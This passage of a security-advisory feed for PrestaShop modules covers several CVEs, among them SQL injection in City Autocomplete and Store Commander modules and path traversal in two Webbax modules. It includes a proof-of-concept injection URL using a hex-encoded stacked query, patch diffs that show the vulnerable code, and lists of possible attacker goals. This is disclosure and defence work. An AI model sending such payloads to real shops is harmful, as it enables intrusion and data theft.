<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to exposed tokens and unlock admins’ ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://example.test/module/cityautocomplete/autocompletion?q<span class="o">=</span>39000&amp;type<span class="o">=</span>1<span class="p">;</span><span class="k">select</span><span class="o">(</span>0x73656C65637420736C656570283432293B<span class="o">)</span>INTO@a<span class="p">;</span>prepare<span class="sb">`</span>b<span class="sb">`</span>from@a<span class="p">;</span>execute<span class="sb">`</span>b<span class="sb">`</span><span class="p">;</span><span class="nt">--</span>&amp;input_name<span class="o">=</span>postcode&amp;limit<span class="o">=</span>10
</code></pre></div></div>

<h2 id="patch">Patch</h2>

<p><strong>For versions &gt; 2.0.0 and &lt; 2.0.3</strong>:</p>
<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/controllers/front/autocompletion.php
</span><span class="gi">+++ b/controllers/front/autocompletion.php
</span><span class="p">@@ -43,13 +43,23 @@</span> class CityAutocompleteAutocompletionModuleFrontController extends ModuleFrontCon
             &amp;&amp; Tools::getIsset('limit')) {
             $id_lang = Context::getContext()-&gt;language-&gt;id;
 
<span class="gi">+            $type = Tools::getValue('type');
+            if (!in_array($type, array('postcode', 'city'))) {
+                die(Tools::jsonEncode(array()));
+            }
+
+            $inputName = Tools::getValue('input_name');
+            if (!in_array($inputName, array('postcode', 'city'))) {
+                die(Tools::jsonEncode(array()));
+            }
+
</span>             $sql = 'SELECT ca.postcode, ca.city, ca.iso_code, c.id_country, cl.name,
<span class="gd">-                "'.(string)Tools::getValue('input_name').'" as input_name
</span><span class="gi">+                `'.bqSQL($inputName).'` as input_name
</span>                 FROM `'._DB_PREFIX_.'cityautocomplete` ca
                 LEFT JOIN `'._DB_PREFIX_.'country` c ON (ca.iso_code = c.iso_code)
                 LEFT JOIN `'._DB_PREFIX_.'country_lang` cl ON (c.id_country = cl.id_country)
                 WHERE id_lang='.(int)$id_lang.'
<span class="gd">-                AND '.(string)Tools::getValue('type').' LIKE "'.(string)Tools::getValue('q').'%"
</span><span class="gi">+                AND `'.bqSQL($type).'` LIKE "'.pSQL(Tools::getValue('q')).'%"
</span>                 LIMIT 0, '.(int)Tools::getValue('limit');
 
             $result = Db::getInstance()-&gt;ExecuteS($sql);
</code></pre></div></div>

<p><strong>For versions &lt; 1.8.12</strong>:</p>
<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/controllers/front/autocompletion.php
</span><span class="gi">+++ b/controllers/front/autocompletion.php
</span><span class="p">@@ -39,13 +39,18 @@</span> class CityAutocompleteAutocompletionModuleFrontController extends ModuleFrontCon
     {
         parent::initContent();
         if (Tools::getIsset('q') &amp;&amp; Tools::getIsset('type') &amp;&amp; Tools::getIsset('limit')) {
<span class="gi">+
+            $type = Tools::getValue('type');
+            if (!in_array($type, array('postcode', 'city'))) {
+                die(Tools::jsonEncode(array()));
+            }
+
</span>             $id_lang = Context::getContext()-&gt;language-&gt;id;
             $sql = 'SELECT ca.postcode, ca.city, ca.iso_code, c.id_country, cl.name
                 FROM `'._DB_PREFIX_.'cityautocomplete` ca
                 LEFT JOIN `'._DB_PREFIX_.'country` c ON (ca.iso_code = c.iso_code)
                 LEFT JOIN `'._DB_PREFIX_.'country_lang` cl ON (c.id_country = cl.id_country)
                 WHERE id_lang='.(int)$id_lang.'
<span class="gd">-                AND '.Tools::getValue('type').' LIKE "'.Tools::getValue('q').'%"
</span><span class="gi">+                AND `'.bqSQL($type).'` LIKE "'.pSQL(Tools::getValue('q')).'%"
</span>                 LIMIT 0, '.(int)Tools::getValue('limit');
             $result = Db::getInstance()-&gt;ExecuteS($sql);
             die(Tools::jsonEncode($result));
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>Upgrade the module to the most recent version</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2022-09-08</td>
      <td>Discovery of the vulnerability by Profileo</td>
    </tr>
    <tr>
      <td>2022-09-10</td>
      <td>Security issue reported to the author, using addons support platform</td>
    </tr>
    <tr>
      <td>2022-09-17</td>
      <td>Issue confirmed by the author</td>
    </tr>
    <tr>
      <td>2022-10-07</td>
      <td>Release of version 1.8.12 fixing the issue</td>
    </tr>
    <tr>
      <td>2023-03-25</td>
      <td>Request for additional details concerning impacted versions</td>
    </tr>
    <tr>
      <td>2023-04-02</td>
      <td>Update the patch to adapt to version 2.X</td>
    </tr>
    <tr>
      <td>2023-04-13</td>
      <td>Get additional details concerning impacted versions</td>
    </tr>
    <tr>
      <td>2023-06-01</td>
      <td>Publication of the security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/registration-ordering-process/6097-city-autocomplete.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-30149">National Vulnerability Database CVE-2023-30149</a></li>
</ul>]]></content><author><name>[&quot;Profileo.com&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="module" /><summary type="html"><![CDATA[SQL injection vulnerability in the City Autocomplete (cityautocomplete) module from ebewe.net for PrestaShop, prior to version 1.8.12 (for PrestaShop version 1.5/1.6) or prior to 2.0.3 (for PrestaShop version 1.7), allows remote attackers to execute arbitrary SQL commands via the type, input_name. or q parameter in the autocompletion.php front controller.]]></summary></entry><entry><title type="html">[CVE-2023-3031] Improper Limitation of a Pathname to a Restricted Directory in Webbax - King-Avis module for PrestaShop</title><link href="https://security.friendsofpresta.org/module/2023/06/01/kingavis.html" rel="alternate" type="text/html" title="[CVE-2023-3031] Improper Limitation of a Pathname to a Restricted Directory in Webbax - King-Avis module for PrestaShop" /><published>2023-06-01T00:00:00+00:00</published><updated>2023-06-01T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/module/2023/06/01/kingavis</id><content type="html" xml:base="https://security.friendsofpresta.org/module/2023/06/01/kingavis.html"><![CDATA[<p>Improper Limitation of a Pathname leads to a Path Traversal vulnerability in the module King-Avis for Prestashop, allowing a user knowing the download token to read arbitrary local files.This issue affects King-Avis: before 17.3.15.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-3031">CVE-2023-3031</a></li>
  <li><strong>Published at</strong>: 2023-06-01</li>
  <li><strong>Advisory source</strong>: <a href="https://borelenzo.github.io/stuff/2023/06/01/cve-2023-3031.html">borelenzo.github.io</a></li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: King-Avis</li>
  <li><strong>Impacted release</strong>: &lt; 17.3.15</li>
  <li><strong>Product author</strong>: Webbax</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/22.html">CWE-22</a></li>
  <li><strong>Severity</strong>: medium (6.5)</li>
</ul>

<h2 id="description">Description</h2>

<p><a href="https://shop.webbax.ch/modules-utilitaire/161-module-prestashop-king-avis.html">King-Avis</a> is a Prestashop module developed by Webbax. In versions older than 17.3.15, the latter suffers from an authenticated path traversal, leading to local file read.</p>

<p>There was a file download.php, that could be used to download statistical reports as CSV files. To protect from unauthorised access, the download feature was protected by a token.
If the token is incorrect, the file exits and no content is returned. However, if the token is correct, the path is extracted from the parameter file and used without being sanitised.</p>

<p>It means that administrators (supposed to know this token) can read arbitrary local files. Also, there is no need to have an active admin session to browse to this file.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: low</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: none</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Stealing secrets to unlock admin controllers based on ajax script</li>
  <li>Exfiltrate all modules with all versions to facilitate pentesting</li>
  <li>Stealing table_prefix to greatly facilitate SQL injections for kiddies who don’t know how exploit DBMS design’s vulnerabilities</li>
  <li>Stealing database access to log in to exposed PHPMyAdmin / Adminer / etc.</li>
  <li>Bypass WAF / htaccess restrictions to read forbidden files (such as logs on predictable paths of banks’s modules inside /var/log/)</li>
</ul>

<h2 id="patch-for--17315">Patch for &lt; 17.3.15</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gh">diff --git a/modules/kingavis/downloads/download.php b/modules/kingavis/downloads/download.php
</span><span class="gd">--- a/modules/kingavis/downloads/download.php
</span><span class="gi">+++ b/modules/kingavis/downloads/download.php
</span><span class="p">@@ -17 +17 @@</span> if($token!==_COOKIE_IV_){die('token error');}
<span class="gd">-$file = Tools::getValue('file');
</span><span class="gi">+$file = basename(Tools::getValue('file'));
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>Upgrade the module to the most recent version</li>
  <li>Upgrade PrestaShop to the latest version to disable multiquery executions (separated by “;”)</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>24-05-2023</td>
      <td>Vendor notified</td>
    </tr>
    <tr>
      <td>25-05-2023</td>
      <td>Vendor acknowledged and published a patch</td>
    </tr>
    <tr>
      <td>26-05-2023</td>
      <td>NCSC notified</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://borelenzo.github.io/stuff/2023/06/01/cve-2023-3031.html">Source of this CVE</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-3031">National Vulnerability Database CVE-2023-3031</a></li>
</ul>]]></content><author><name>[&quot;Borel Enzo&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="module" /><summary type="html"><![CDATA[Improper Limitation of a Pathname leads to a Path Traversal vulnerability in the module King-Avis for Prestashop, allowing a user knowing the download token to read arbitrary local files.This issue affects King-Avis: before 17.3.15.]]></summary></entry><entry><title type="html">[CVE-2023-30197] Improper Limitation of a Pathname to a Restricted Directory in Webbax - My inventory module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/05/30/myinventory.html" rel="alternate" type="text/html" title="[CVE-2023-30197] Improper Limitation of a Pathname to a Restricted Directory in Webbax - My inventory module for PrestaShop" /><published>2023-05-30T00:00:00+00:00</published><updated>2023-05-30T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/05/30/myinventory</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/05/30/myinventory.html"><![CDATA[<p>In the module “My inventory” (myinventory) from Webbax for PrestaShop, a guest can download personal information without restriction by performing a path traversal attack.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-30197">CVE-2023-30197</a></li>
  <li><strong>Published at</strong>: 2023-05-30</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: myinventory</li>
  <li><strong>Impacted release</strong>: &lt;= 1.6.6 (1.6.7 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Webbax</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/22.html">CWE-22</a></li>
  <li><strong>Severity</strong>: high (7.5), GDPR violation</li>
</ul>

<h2 id="description">Description</h2>

<p>Due to a lack of permissions control and a lack of control in the path name construction, a guest can perform a path traversal to view all files on the information system.</p>

<p>Note : We are forced to tag it as a medium gravity due to the CWE type 22 but be warned that on our ecosystem, it must be considered critical since it unlocks hundreds admin’s ajax script of modules  due to <a href="https://github.com/PrestaShop/PrestaShop/blob/6c05518b807d014ee8edb811041e3de232520c28/classes/Tools.php#L1247">this</a></p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: none</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Stealing secrets to unlock admin controllers based on ajax script</li>
  <li>Exfiltrate all modules with all versions to facilitate pentesting</li>
  <li>Stealing table_prefix to greatly facilitate SQL injections for kiddies who don’t know how to exploit DBMS design’s vulnerabilities or steal database access to login in exposed PHPMyAdmin/Adminer/etc.</li>
  <li>Bypass WAF / htaccess restrictions to read forbidden files (such as logs on predictable paths of banks’s modules inside /var/log/)</li>
</ul>

<h2 id="patch-from-166">Patch from 1.6.6</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.6.6/modules/myinventory/downloads/download.php
</span><span class="gi">+++ 1.6.7/modules/myinventory/downloads/download.php
</span><span class="gd">- $file = Tools::getValue('file');
</span><span class="gi">+ $file = basename(Tools::getValue('file')).'.csv';
</span>
+if((strpos($file, './') === false) &amp;&amp; substr($file,-4) == '.csv'){
<span class="err">...</span>
+}
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>You should consider restricting the access of modules/myinventory/ to a whitelist or delete the module</li>
  <li>NEVER expose a PHPMyAdmin / Adminer / etc without, at least, a htpasswd</li>
  <li>Activate OWASP 930’s rules on your WAF (Web application firewall) and adjust it for your PrestaShop</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-02-25</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-02-25</td>
      <td>Contact Author</td>
    </tr>
    <tr>
      <td>2023-02-27</td>
      <td>Author confirms alert’s read</td>
    </tr>
    <tr>
      <td>2023-04-24</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-05-02</td>
      <td>Author publishes a new version which fix the leak</td>
    </tr>
    <tr>
      <td>2023-05-30</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.webbax.ch/2017/08/30/9-modules-prestashop-gratuits-offert-par-webbax/">Author download page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-30197">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “My inventory” (myinventory) from Webbax for PrestaShop, a guest can download personal information without restriction by performing a path traversal attack.]]></summary></entry><entry><title type="html">[CVE-2023-33278] Improper neutralization of multiple SQL parameters in the scexportcustomers module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/05/25/scexportcustomers.html" rel="alternate" type="text/html" title="[CVE-2023-33278] Improper neutralization of multiple SQL parameters in the scexportcustomers module for PrestaShop" /><published>2023-05-25T00:00:00+00:00</published><updated>2023-05-25T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/05/25/scexportcustomers</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/05/25/scexportcustomers.html"><![CDATA[<p>In the module “SC Export Customers” (scexportcustomers), an anonymous user can perform SQL injections. The module have been patched in version 3.6.2.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-33278">CVE-2023-33278</a></li>
  <li><strong>Published at</strong>: 2023-05-25</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: scexportcustomers</li>
  <li><strong>Impacted release</strong>: &lt;= 3.6.1 (3.6.2 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Store Commander</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>In scexportcustomers module up to 3.6.1 for PrestaShop, a sensitive SQL call can be executed with a trivial http call and exploited to forge a blind SQL injection.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Technical and personal data leaks</li>
  <li>Obtain admin access</li>
  <li>Remove all data of the linked PrestaShop</li>
  <li>Display sensitives tables to front-office to unlock potential admin’s ajax scripts of modules protected by token on the ecosystem</li>
</ul>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to delete the module if not used or contact Store Commander</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix ps_ by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2022-09-21</td>
      <td>Issue discovered after a security audit by <a href="https://www.202-ecommerce.com">202-ecommerce</a></td>
    </tr>
    <tr>
      <td>2022-09-21</td>
      <td>Contact Author</td>
    </tr>
    <tr>
      <td>2022-12-09</td>
      <td>Author provide patch</td>
    </tr>
    <tr>
      <td>2023-05-15</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-05-22</td>
      <td>Received CVE ID</td>
    </tr>
  </tbody>
</table>

<p>Store Commander thanks <a href="https://www.202-ecommerce.com">202-ecommerce</a> for its courtesy and its help after the vulnerability disclosure.</p>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.storecommander.com/fr/modules-complementaires/480-export-clients-pro.html">Store Commander export customer module product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-33278">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;Store Commander&quot;, &quot;202 ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “SC Export Customers” (scexportcustomers), an anonymous user can perform SQL injections. The module have been patched in version 3.6.2.]]></summary></entry><entry><title type="html">[CVE-2023-33279] Improper neutralization of multiple SQL parameters in the SC Fix My PrestaShop module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/05/25/scfixmyprestashop.html" rel="alternate" type="text/html" title="[CVE-2023-33279] Improper neutralization of multiple SQL parameters in the SC Fix My PrestaShop module for PrestaShop" /><published>2023-05-25T00:00:00+00:00</published><updated>2023-05-25T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/05/25/scfixmyprestashop</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/05/25/scfixmyprestashop.html"><![CDATA[<p>In the module “SC Fix My PrestaShop” (scfixmyprestashop), an anonymous user can perform a SQL injection. <strong>The module is obsolete and must be deleted.</strong></p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-33279">CVE-2023-33279</a></li>
  <li><strong>Published at</strong>: 2023-05-25</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: scfixmyprestashop</li>
  <li><strong>Impacted release</strong>: ALL VERSIONS <strong>DANGER</strong></li>
  <li><strong>Product author</strong>: Store Commander</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>In scfixmyprestashop module for PrestaShop (all versions, must be deleted as soon as possible), a sensitive SQL call can be executed with a trivial http call and exploited to forge a blind SQL injection.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Technical and personal data leaks</li>
  <li>Obtain admin access</li>
  <li>Remove all data of the linked PrestaShop</li>
  <li>Display sensitives tables to front-office to unlock potential admin’s ajax scripts of modules protected by token on the ecosystem</li>
</ul>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to delete the module</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix ps_ by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2022-09-21</td>
      <td>Issue discovered after a security audit by <a href="https://www.touchweb.fr">TouchWeb</a></td>
    </tr>
    <tr>
      <td>2022-09-21</td>
      <td>Contact Author</td>
    </tr>
    <tr>
      <td>2023-05-15</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-05-22</td>
      <td>Received CVE ID</td>
    </tr>
  </tbody>
</table>

<p>Store Commander thanks <a href="https://www.touchweb.fr">TouchWeb</a> for its courtesy and its help after the vulnerability disclosure.</p>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-33279">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;Store Commander&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “SC Fix My PrestaShop” (scfixmyprestashop), an anonymous user can perform a SQL injection. The module is obsolete and must be deleted.]]></summary></entry><entry><title type="html">[CVE-2023-33280] Improper neutralization of multiple SQL parameters in the scquickaccounting module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/05/25/scquickaccounting.html" rel="alternate" type="text/html" title="[CVE-2023-33280] Improper neutralization of multiple SQL parameters in the scquickaccounting module for PrestaShop" /><published>2023-05-25T00:00:00+00:00</published><updated>2023-05-25T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/05/25/scquickaccounting</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/05/25/scquickaccounting.html"><![CDATA[<p>In the module “SC Quick Accounting” (scquickaccounting), an anonymous user can perform a SQL injection. The module have been patched in version 3.7.4.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-33280">CVE-2023-33280</a></li>
  <li><strong>Published at</strong>: 2023-05-25</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: scquickaccounting</li>
  <li><strong>Impacted release</strong>: &lt;= 3.7.3 (3.7.4 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Store Commander</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>In scquickaccounting module up to 3.7.3 for PrestaShop, multiple sensitive SQL calls can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Technical and personal data leaks</li>
  <li>Obtain admin access</li>
  <li>Remove all data of the linked PrestaShop</li>
  <li>Display sensitives tables to front-office to unlock potential admin’s ajax scripts of modules protected by token on the ecosystem</li>
</ul>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to delete the module if not used or contact Store Commander</li>
  <li>You should restrict access to this URI pattern : modules/scquickaccounting/ to a given whitelist</li>
